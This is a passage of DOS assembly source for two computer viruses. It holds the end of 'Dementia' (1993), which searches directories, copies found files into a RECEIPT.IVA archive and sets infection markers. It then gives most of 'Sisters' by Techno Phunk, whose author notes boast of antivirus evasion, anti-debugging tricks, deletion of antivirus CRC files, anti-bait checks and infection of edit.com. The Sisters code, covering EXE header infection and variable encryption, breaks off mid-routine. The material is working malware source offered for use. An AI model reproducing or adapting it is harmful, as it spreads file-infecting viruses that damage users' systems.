     push    dx 	 ; Save DX at stack

     jnc     find_next_ 	 ; No error? Jump to find_next_

     jmp     fnd_nxt_loop

     nop

     nop

find_next_:

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h+48h

     mov     ds,ax	 ; DS = segment of disk transfer area

     mov     dx,1eh	 ; DX = offset of filename

     call    open_file

     mov     [bp-12h],ax	 ; Store file handle of file within...

     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA

     call    set_pos_eof

     push    ds 	 ; Save DS at stack

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h+44h

     mov     ds,ax	 ; DS = segment of end of pathname

     mov     cx,40h	 ; Write sixty-four bytes

     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA

     call    write_file

     pop     ds 	 ; Load DS from stack

     mov     cx,0eh	 ; Write fourteen bytes

     mov     dx,1eh	 ; DX = offset of filename

     call    write_file_

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h+4ch

     mov     ds,ax	 ; DS = segment of data buffer

     mov     bx,[bp-12h]	 ; BX = file handle of file within ...

     call    set_pos_eof

     mov     ds:[00h],ax	 ; Store low-order word of filesize

     mov     ds:[02h],dx	 ; Store high-order word of filesize

     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA

     mov     cx,04h	 ; Write four bytes

     call    write_file

     mov     bx,[bp-12h]	 ; BX = file handle of file within ...

     call    set_pos_sof

copy_file:

     mov     bx,[bp-12h]	 ; BX = file handle of file within ...

     mov     cx,400h	 ; Read one thousand and twenty-fou...

     call    read_file

     cmp     ax,00h	 ; Read all of the file?

     je      call_fnd_nxt	 ; Equal? Jump to call_fnd_nxt

     mov     cx,ax	 ; CX = number of bytes actually read

     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA

     call    write_file

     jmp     copy_file

call_fnd_nxt:

     mov     bx,[bp-12h]	 ; BX = file handle of file within ...

     call    close_file

     call    find_next

     jc      fnd_nxt_loop	 ; Error? Jump to fnd_nxt_loop

     jmp     find_next_

fnd_nxt_loop:

     pop     dx cx	 ; Load registers from stack

     add     dx,0eh	 ; DX = offset of next file specifi...

     dec     cx 	 ; Decrease count register

     cmp     cx,00h	 ; No more files?

     je      copy_name	 ; Equal? Jump to copy_name

     jmp     find_first_

copy_name:

     xor     cx,cx	 ; Zero CX

find_first__:

     push    cx 	 ; Save CX at stack

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     lea     dx,file_specifi	 ; DX = offset of file_specifi

     nop

     mov     cx,0000000000010111b

     call    find_first

     jc      receip_exit	 ; Error? Jump to receip_exit

     pop     cx 	 ; Load CX from stack

     push    cx 	 ; Save CX at stack

     jmp     test_count

     nop

     nop

found_dir:

     push    cx 	 ; Save CX at stack

     mov     cx,01h	 ; Don't examine disk transfer area

test_count:

     cmp     cx,00h	 ; Examine disk transfer area?

     je      examine_dta	 ; Equal? Jump to examine_dta

     call    find_next

     jc      receipt_exit	 ; Error? Jump to receipt_exit

     dec     cx 	 ; Decrease CX

     jmp     test_count

examine_dta:

     pop     cx 	 ; Load CX from stack

     inc     cx 	 ; Increase count register

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h+44h

     mov     es,ax	 ; ES = segment of end of pathname

     add     ax,04h	 ; AX = segment of disk transfer area

     mov     ds,ax	 ; DS =    "    "   "      "      "

     mov     si,15h	 ; SI = offset of attribute of file...

     lodsb	 ; AL = attribute of file found

     test    al,00010000b	 ; Directory?

     je      found_dir	 ; Equal? Jump to found_dir

     mov     si,1eh	 ; SI = offset of filename

     lodsb	 ; AL = byte of filename

     cmp     al,'.'              ; Directory?

     je      found_dir	 ; Equal? Jump to found_dir

     mov     ax,[bp-02h]	 ; AX = store or don't store backslash

     mov     di,ax	 ; DI = offset of end of pathname

     mov     si,1eh	 ; SI = offset of filename

     cmp     al,01h	 ; Don't store backslash?

     je      copy_name_ 	 ; Equal? Jump to copy_name_

     mov     al,'\'              ; AL = backslash

     stosb	 ; Store backslash

copy_name_:

     lodsb	 ; AL = byte of filename

     cmp     al,00h	 ; End of filename?

     je      store_zero 	 ; Equal? Jump to store_zero

     stosb	 ; Store byte of filename

     jmp     copy_name_

store_zero:

     mov     dx,di	 ; DX = offset of end of pathname

     xor     al,al	 ; AL = zero

     stosb	 ; Store zero

     mov     ax,[bp-08h]	 ; AX = number of file specifications

     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA

     mov     ds,[bp-06h]	 ; DS = segment of file specifictions

     push    cx 	 ; Save CX at stack

     call    create_recei

     pop     cx 	 ; Load CX from stack

     mov     ah,3bh	 ; Set current directory

     push    es 	 ; Save ES at stack

     pop     ds 	 ; Load DS from stack (ES)

     xor     dx,dx	 ; Zero DX

     mov     di,[bp-02h]	 ; DI = offset of end of pathname

     xor     al,al	 ; AL = zero

     stosb	 ; Store zero

     int     21h

     jmp     find_first__

receipt_exit:

     pop     cx 	 ; Load CX from stack

receip_exit:

     mov     sp,bp	 ; SP = stack pointer

     pop     bp 	 ; Load BP from stack

     ret	 ; Return!

     endp

open_file    proc    near	 ; Open file

     mov     ax,3dffh	 ; Open file

     xor     cx,cx	 ; CL = attribute mask of files to ...

     int     21h

     mov     bx,ax	 ; BX = file handle

     ret	 ; Return!

     endp

close_file   proc    near	 ; Close file

     mov     ah,3eh	 ; Close file

     int     21h

     ret	 ; Return!

     endp

find_first   proc    near	 ; Find first matching file

     mov     ax,4e00h	 ; Find first matching file

     int     21h

     ret	 ; Return!

     endp

find_next    proc    near	 ; Find next matching file

     mov     ah,4fh	 ; Find next matching file

     int     21h

     ret	 ; Return!

     endp

load_info    proc    near	 ; Get file's date and time

     mov     ax,5700h	 ; Get file's date and time

     int     21h

     mov     [bp-04h],cx	 ; Store file time

     mov     [bp-02h],dx	 ; Store file date

     ret	 ; Return!

     endp

infect_mark  proc    near	 ; Infection mark

     mov     ax,5701h	 ; Set file's date and time

     mov     cx,[bp-04h]	 ; CX = file time

     mov     dx,[bp-02h]	 ; DX = file date

     and     cx,1111111111100000b

     or      cx,0000000000000001b

     int     21h

     ret	 ; Return!

     endp

read_file    proc    near	 ; Read from file

     xor     dx,dx	 ; Zero DX

read_file_   proc    near	 ; Read from file

     mov     ah,3fh	 ; Read from file

     int     21h

     ret	 ; Return!

     endp

     endp

create_file  proc    near	 ; Create file

     mov     ah,3ch	 ; Create file

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     xor     cx,cx	 ; CX = file attributes

     int     21h

     ret	 ; Return!

     endp

write_file   proc    near	 ; Write to file

     xor     dx,dx	 ; Zero DX

write_file_  proc    near	 ; Write to file

     mov     ah,40h	 ; Write to file

     int     21h

     ret	 ; Return!

     endp

     endp

set_pos_cfp  proc    near	 ; Set current file position (CFP)

     mov     ax,4201h	 ; Set current file position (CFP)

     int     21h

     ret	 ; Return!

     endp

set_pos_eof  proc    near	 ; Set current file position (EOF)

     mov     ax,4202h	 ; Set current file position (EOF)

     xor     cx,cx	 ; Zero CX

     cwd	 ; Zero DX

     int     21h

     ret	 ; Return!

     endp

set_pos_sof  proc    near	 ; Set current file position (SOF)

     xor     cx,cx	 ; Zero CX

     xor     dx,dx	 ; Zero DX

set_pos_sof_ proc    near	 ; Set current file position (SOF)

     mov     ax,4200h	 ; Set current file position (SOF)

     int     21h

     ret	 ; Return!

     endp

     endp

delete_file  proc    near	 ; Delete file

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     mov     ah,41h	 ; Delete file

     xor     cx,cx	 ; CL = attribute mask for deletion

     int     21h

     ret	 ; Return!

     endp

file_begin:

     mov     ax,0b800h	 ; AX = segment of text video RAM

     mov     es,ax	 ; ES =    "    "   "     "    "

     xor     di,di	 ; Zero DI

     mov     cx,7d0h	 ; Store four thousand bytes

     mov     ax,720h	 ; Black background color, light-gr...

     rep     stosw	 ; Overwrite text video RAM

     xor     di,di	 ; Zero DI

     mov     si,(ansi_begin-file_begin+100h)

     mov     cx,(ansi_end-ansi_begin)

     nop

load_ansi:

     lodsb	 ; AL = byte of ansi

     cmp     al,0ffh	 ; Write a string?

     jne     store_ansi 	 ; Not equal? Jump to store_ansi

     lodsb	 ; AL = byte of ansi

     dec     cx 	 ; Derease count register

     cmp     al,0ffh	 ; Write a single character?

     je      store_ansi 	 ; Equal? Jump to store_ansi

     push    cx si ds	 ; Save registers at stack

     xor     cx,cx	 ; Zero CX

     mov     cl,al	 ; CL = size of string

     lodsb	 ; AL = byte of ansi

     mov     bl,al	 ; BL = low-order byte of offset of...

     lodsb	 ; AL = byte of ansi

     mov     bh,al	 ; BH = high-order byte of offset o...

     mov     si,bx	 ; SI = offset of string within ansi

     push    es 	 ; Save ES at stack

     pop     ds 	 ; Load DS from stack (ES)

     rep     movsb	 ; Move string to text video RAM

     pop     ds si cx	 ; Load registers at stack

     add     si,02h	 ; Add two to index register

     sub     cx,02h	 ; Subtract two from count register

     jmp     ansi_loop

     nop

     nop

     nop

store_ansi:

     stosb	 ; Store a byte of ansi

ansi_loop:

     loop    load_ansi

     int     20h

ansi_begin   db      20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh

     db      00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch

     db      00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h

     db      0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h

     db      08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h

     db      0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh

     db      0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h

     db      82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h

     db      0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h

     db      0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h

     db      0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h

     db      0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h

     db      04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh

     db      0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h

     db      3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h

     db      0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h

     db      01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h

     db      0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh

     db      09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh

     db      05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h

     db      37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh

     db      03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h

     db      0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh

     db      12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h

     db      42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh

     db      08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h

     db      05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h

     db      0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h

     db      0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch

     db      07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h

     db      0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh

     db      05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h

     db      0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h

     db      01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h

     db      0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h

     db      0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h

     db      0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h

     db      0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh

     db      0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h

     db      50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h

     db      05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h

     db      0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh

     db      05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah

     db      0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h

     db      2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h

     db      03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h

     db      0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh

     db      0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh

     db      20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh

     db      07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch

     db      05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h

     db      0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h

     db      35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h

     db      2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah

     db      0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h

     db      01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh

     db      73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h

     db      0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h

     db      38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh

     db      05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h

     db      0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h

     db      75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h

     db      38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h

     db      0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h

     db      70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h

     db      50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh

     db      65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh

     db      61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh

     db      05h,6bh,0ah,20h,07h

ansi_end:

file_end:

temp_file    db      '!#TEMP#!',00h      ; Temporary file

request_iva  db      'REQUEST.IVA',00h   ; REQUEST.IVA

filename     db      'RECEIPT.IVA ',00h  ; Filename

receipt_iva  db      'RECEIPT.IVA ',00h  ; RECEIPT.IVA

callfast_com db      'CALLFAST.COM',00h  ; CALLFAST.COM

file_specifi db      '*.*',00h           ; File specification

origin_code  db      0cdh,21h,? 	 ; Original code of infected COM file

int21_addr   dd      ?	 ; Address of interrupt 21h

int24_addr   dd      ?	 ; Address of interrupt 24h

com_or_exe   db      00h	 ; COM or EXE executable

stack_ptr    dw      ?	 ; Original stack pointer

stack_seg    dw      ?	 ; Original stack segment

instruct_ptr dw      ?	 ; Original instruction pointer

code_seg     dw      ?	 ; Original code segment

initial_ip   dw      ?	 ; Initial IP

initial_cs   dw      ?	 ; Initial CS relative to start of ...

code_seg_    dw      ?	 ; Code segment

tst_filesize dw      00h	 ; Test or don't test filesize

     db      'Dementia]',00h

     db      'Copyright 1993 Necrosoft enterprises  -  All rights reserved',00h

     db      'I am the man that walks alone',0dh,0ah

     db      'And when I''m walking a dark road',0dh,0ah

     db      'At night or strolling through the park',0dh,0ah

     db      'When the light begins to change',0dh,0ah

     db      'I sometimes feel a little strange',0dh,0ah

     db      'A little anxious when it''s dark',0dh,0ah,00h

crypt_begin:

code_end:

data_end:

end	     code_begin


Sisters by Techno Phunk / TI

; Name: Sisters

; Size: 902 bytes. (give/take a few bytes)

; Encryption: sub/add, add/sub, xor/xor

;

; *Intresting: don't use the delta routine...(pads host)

; and it also is very infectios on winblows comps (I targeted that OS)

;

; Poly: just sorta, barly even oligomorphism...not poly at all...more than

; just plain encryption (Thanks be to god <EG>). see notes. - no, the padding

; of host is NOT the poly.

;

; Tunneling: not in this one - the method I was using wouldn't work on my comp

; and thus, I couldn't test, and didn't want to release untested virus.

;

; Payload: a simple, but nice Graphic payload, and message. 1/256 times.

;

; Detectability (as of 1-22-98):

;    AVP : nope - oh gosh this is sad.

;  F-Prot: nope - died the moment delta routine went down hill.

;  McAfee: nope - hahaha, no.

; Dr. Web: exe.crypt.virus possibly....dang it's goood :)

; Nod-Ice: unknown Exe.Crypt virus possible - also good! hold snikeys!

;          can't clean it.

;  TBAV: nope, not really: cF# - High Heuristic mode: "possibly"

; TBclean: can't clean/emulate.

;

; Anti-Debuging: of course...but not a MAJOR scheme or anything. Just read

; the code of it :) It would be a little complex to examin, however, nothing

; SUPER-dooper hard to bypass. It basicly does the following:

; Has a loop that does the following:

;  Screws Int 1h

; Then:

;  I destroy Int 3h. Until return to host.

;

; Note: When I tryed to step through, I personaly bypassed it rather easy.

;  but it was a small delay in my examination of an infected file.

;

; Conflicts: only thing I know of is Nod-ICE's tsr program: AMON. When it is

; running, it'll pop up a warning of "possible virus"....and then, the whole

; comp crashed, on my test comp. I got VxD errors and the like.

;

; Anti-Anti-Virus: Yes, Deletes CRC files of varios AV's, and also avoids

; the infection of lots of diffrent AV's - and not to mention that it'll screw

; over TBclean. And takes F-prot FOREVER to scan a infected file (annoying)..

; and it still don't detect.

;

; Anti-Bait: won't infect files older than 1990 (just because most bait generators

; will generate "old" files). And no files less than 2000 bytes. 2000, 0, 0, party

; over, oops, out of time - "Prince"  ;) tonight we gonna party like it's 19-99 :)

; I should have gone higher with the size, but, oh well.

;

; Greets: CyberYoda (glad yer still alive <G>), Vecna, Virogen, and a few others

;

; Extreme Greets: Cyclone - thanks for all.

;

;

; EXE infection - and of course, same as OVL ---

; ------------------

;  First in this virus we open up a found host, and we find out how many bytes

; it will take until it is PERFECTLY divisable by 16. This way, our virus will

; wind up at a new paragraph, and thus, have no need for delta routine.

; Instead of the VERY common Shifting method of calculating CS:IP, I descided

; to simply divide. I infect OVL's just same as EXE's as long as they are found

; to be "Real" OVL's. Note: since I devide, files larger than 1,000,000 will

; be sorta corrupted, but who has a 1 meg dos EXE?

;

; It is "windows aware", it will not infect files with overlays, windows signiture.

;

; Stealth: as much as possible for a runtime virus. Int 24h handlr and date/time

; restoration.

;

; Edit.COM infection

; --------------------

; I'm not sure if anyone has ever noticed this, but yes, under winblows, edit.com

; is a EXE file. So, I figure, since most people who use DOS, use edit.com to

; read files, that I could use that fact agianst them, and simply infect it.

; Infected in similar manner to EXE/OVL's

;

; Poly (rather, should be: "opchanging")

; ----------

; Basicly, I just change the decryption instruction, and of course encrypt

; accordingly. Thus I have 3*65535 diffrent versions (not to shabby).

; It's just there for fun, and I'd imagine that it takes another byte or so

; from the available ones for scan strings.

;

;

; tasm /m2 sisters

; tlink sisters

;

; I figure you could rename droper as COM to prevent infection, but why?

; just let it get infected :P

.286

Code Segment

Assume Cs:Code,Ds:code,Ss:code,Es:code

Start:

Push Ds	; Save PSP

Push Cs Cs	; Set ES = DS = CS

Pop Es Ds	; for data accessing.

        Lea Si,[Crypt_Start]                    ; read from

        Mov Di,Si                               ; write and read pos are same.

        Mov Cx,(End_Virus-Crypt_Start)/2        ; virus size in words.

Crypt_Loop:

        Lodsw                                   ; load word into AX

        Op Db 05h                               ; ??? Ax, ???? (decryption inst)

        Crypt_Val Dw 0                          ; encryption key.

        Stosw                                   ; smack that bad boy down.

        Loop Crypt_Loop                         ; blah blah...here we go agian! :)

Crypt_Start:

        Pop Ax                                  ; PSP seg in AX..

        Mov Word Ptr [_Es],Ax                   ; save PSP seg in variable _Es

        Int 3h                                  ; stop debuger here first.

        Xor Bp,Bp                               ; Zero this for later use.

Get_Dta:

Mov Ah,1ah	; Set new DTA address

Lea Dx,Dta	; ds:dx = address

        Int 21h                                 ; do it.

Restore:

        Lea Di,[Old_Regs]                       ; where it's going.

Lea Si,[Store_Regs]	; old_reg = strore_reg

        Movsw                                   ; 2

        Movsw                                   ; 4

        Movsw                                   ; 6

        Movsw                                   ; 8, who do we apreciate :)

Fix_Errors:

        Mov Ax,3524h                            ; get int 24h addy.

        Int 21h

        Mov Word Ptr [Old24],Bx                 ; save original to restore later.

Mov Word Ptr [Old24+2],Es

        Mov Ah,25h                              ; set 24h to DX

        Lea Dx,[New24h]                         ; point it to our own handler

        Int 21h                                 ; blah.

        Xor Cx,Cx                               ; for later (just for fun)

        Push Ds                                 ; save DS (we need it!)

        Xor Ax,Ax                               ; zero.

        Mov Ds,Ax                               ; to hero.

DebugLovesThis:

        Xchg Ax, Word Ptr Ds:[4]                ; INT 1h in IVT = 0 now.

        Int 3h                                  ; stop here each time when "going"

        Xchg Ax, Word Ptr Ds:[4]                ; fix it up now.

                                                ; heehee...evil :)

        Xchg Al, Byte Ptr Ds:[12d]              ; 12d = offset of Int 3h in IVT

        Mov Byte Ptr [Old03],Al                 ; saved

        Pop Ds

        Mov Ah,47h                              ; get the starting DIR.

        Lea Si,[Starting_In]                    ; where it's gonna be saved.

Cwd

Int 21h

Find_File:

        Mov Ah,41h                              ; ouch.

        Lea Dx, AntiVirDat                      ; deleting file.

        Int 21h                                 ; see ya TBAV

Mov Ah,41h

Lea Dx,MsCrap

        Int 21h                                 ; adios M$

Mov Ah,41h

Lea Dx,IvCrap

        Int 21h                                 ; Shalom IV.

        Mov Byte Ptr [Checkin],0                ; null...zero, nope, none, nadda

        Mov Byte Ptr [Offset Vx_Mask+2],'E'     ; fix up.

        Mov Di,11d                              ; counter. 11 infections per run

Mov Ah,4eh	; Find first

        Lea Dx,Vx_Mask	; '*.exe'

        Mov Cl,7                                ;  attribute CX =0 already.

Find_Next:

        Int 21h                                 ; DOS!

        Mov Byte Ptr [Offset Vx_Mask+2],'3'     ; it can go back to old string.

        Jnc Open                                ; open it if found something.

        Cmp Byte Ptr [Checkin],1

Je Change

Find_Ovl:

        Mov Ah,4eh                              ; Now for those darn OVL's

Lea Dx, Ovl_Mask

        Mov Cx,7                                ; no telling what CX is. so

        Int 21h                                 ; just quicker this way.

        Jnc Open                                ; Something found?! coolness

        Inc Byte Ptr [Checkin]                  ; let it be known, it's been

                                                ; searched out :)

Mov Ah,4eh

Lea Dx, EditCom	; look for our friend: edit.com

Int 21h	; in win95/98, is a EXE (dos)

Mov Cx,7

Jnc Open	; open, see if infected

Change:

Mov Ah,3Bh	; and next, on your left

Lea Dx,[Dot]	; you'll see us do the lame

Int 21h	; and clasic, dot_dot method :)

        Jnc Find_File                           ; find me a file/delete CRC's

Goto_Command:

        Or Bp, Bp                               ; made it to windows\command yet?

        Jz No_Restore_DTA                       ; nopers....keep going

Bridge_To_Restore:                              ; O.k, I'm outta here.

Jmp Restore_Dta

No_Restore_DTA:

        Mov Ah,3Bh                             ; changing to windows\command.

        Lea Dx,[Command]                       ; FUN! :)

Int 21h

        Jc Bridge_To_Restore                   ; not a real lame user.

        Inc Bp                                 ; Let it be known, been visited

        Jmp Find_file                          ; go, go, go!

; Note: I descided to be nice to DOS users. After all, Windows users are the

; evil/lame ones :)

Open:

        Lea Si, AVlist                  ; CX already = 7 :) <EG>

NoInfectLoop:

        Lodsw                           ; load word (into AX)

        Cmp Word Ptr [Dta+30],Ax        ; 30h-32h = start of file name in DTA

        Je Get_Another                  ; darn AV..what's it doing here?!

        Loop NoInfectLoop               ; loopty doopy.

        Cmp Word Ptr [Dta+18h],1010b    ; check if it's year is less than 90.

        Jb Get_Another                  ; avoids a few diffrent bait files.

        Cmp Word Ptr [Dta+26],2000d     ; no files < 2000 bytes.

        Jb Get_Another                  ; more anti-bait.

        Mov Ax,3d02h                    ; opening file now.

        Lea Dx,Dta+1eh                  ; file name

        Int 21h                         ; DOS!

        Xchg Ax,Bx                      ; bx= file handle

        Mov Ax,5700h                    ; get file date

Int 21h

        Push Cx                         ; push time

        Push Dx                         ; push date

Read_Header:

        Mov Ah,3fh                      ; read header

        Mov Cx,1ch                      ; 1ch bytes.

        Lea Dx,Header                   ; where to read to.

        Int 21h                         ; DOSy poo!

Winblows:

        Cmp Byte Ptr [Header+24],40h    ; Windows file?

        Je Get_Another                  ; 24d = "@" = winblows.

Blah:

        Mov Ax,Word Ptr [Header]        ; checking for MZ or ZM

        Add Al,Ah                       ; addition is communitive of course.

        Cmp Al, 0A7h

Jnz Get_Another

Overlay_Check:                          ; then....

        Cmp Word Ptr [Header+26],0      ; Overlays?

Jne Get_Another

Next:

        Cmp Word Ptr [header+12h],'PT'  ; Infection marker

Je Get_Another

                                        ; swaaeeeeeeeet, infection time

Save_Header:

        Mov Ax,Word Ptr [Header+0eh]    ; Save Stack Segment of EXE

Mov Word Ptr [Store_Ss],Ax

        Mov Ax,Word Ptr [Header+10h]    ; Save Stack Pointer of EXE

Mov Word Ptr [Store_Sp],Ax

        Mov Ax,Word Ptr [Header+14h]    ; Save original IP

Mov Word Ptr [Store_Ip],Ax

        Mov Ax,Word Ptr [Header+16h]    ; and CS

Mov Word Ptr [Store_Cs],Ax

        Mov Ax,4202h                    ; goto End of File.

Xor Cx,Cx

Cwd

Int 21h

        Push Ax                         ; Check for file padding, etc.

        Neg Ax                          ; Dec Ax and Not Ax  - smaller.

        And Ax,0Fh                      ; within the bondarys.

        Xchg Ax,Cx                      ; For writing (if needed)

        Jz NoPadding                    ; It's cool.

        Mov Ah,40h                      ; no, we need to write some stuff

        Int 21h                         ; write it to end of host.

        Jnc NoPadding                   ; Fine.

        Jmp Close                       ; Otherwise, screw it.

Get_Another:

        Mov Ah,3eh                      ; Close file

Int 21h

Get_Next:

        Mov Ah,4fh                      ; find next.

Jmp Find_Next

NoPadding:                              ; Calculate New CS:IP

Pop Ax

        Add Ax,Cx                       ; Note: I screwed the normal shifting

        Push Ax                         ; method, Divide is much better for this, now.

Push Dx

        Mov Cl,10h

        Div Cx                          ; o.k, Ax  = new CS now. + headersize

        Sub Ax,Word Ptr [Header+8h]     ; subtract header size to get CS value

        Mov Word Ptr [Header+16h],Ax    ; save new CS

        Inc Ax                          ; Make SS > Cs (avoids TBAV flag: K)

        Mov Word Ptr [Header+0eh],Ax    ; new Stack Segment.

        Xchg Ax,Dx

        Mov Word Ptr [Header+14h],Ax    ; Save new IP

        Mov Word Ptr [Header+10h],0ff0h ; new SP = 0FF0h

        Add Word Ptr [Header+0ah],125   ; min alloc+= 2000 bytes

        Mov Word Ptr [Header+12h],'PT'  ; checksum= marker

        Pop Dx Ax                       ; give me the file size back

Compute_Size:

        Add Ax,End_Virus-Start           ; add in the virus size.

Adc Dx,0

        Mov Cx,512                       ; divide by 512 please.

Div Cx

        Or Dx, Dx                        ; dx= remander, 0 if none.

        Jz Enough                        ; no remainder.

        Inc Ax                           ; otherwise increment.

Enough:

        Mov Word Ptr [Header+04],Ax      ; new length

        Mov Word Ptr [Header+02],Dx      ; and remainder

Write_Virus:

        In Ax,40h                         ; random number (from timer)

        Mov [Crypt_Val],Ax                ; store encryption code

        Mov Dx, Ax                        ; Dx = Key for encryption (optomisation)

        Push Cs                           ; and agian, Es=Cs

Pop Es

        Xor Si,Si                         ; Si = Start

        Push Di                           ; Save Counter

        Lea Di,Heap                       ; Points to Heap.

        Mov Cx, (Crypt_Start+1-Start)/2   ; move this hunk o junk to heap.

        Rep Movsw                         ; repeat Movs to the heap.

        Mov Cx,(End_Crypt - Crypt_Start) / 2 ; for later.

        In Ax,40h                         ; so that encrypt key / instruction

                                          ; arn't based on each other.

        Or Al, Al                         ; rarely Add-crypt - like slow poly or something.

        Jz AddCrypt

        Add Ax,Ax                         ; double it.

        Cmp Ax,01555h

        Jbe XorCrypt                      ; if it's below, XOR, otherwise

SubCrypt:                                 ; add/sub

Lodsw

Add Ax, Dx

Stosw

Loop SubCrypt

        Mov Al, 2dh                       ; sub ax, ???? op code.

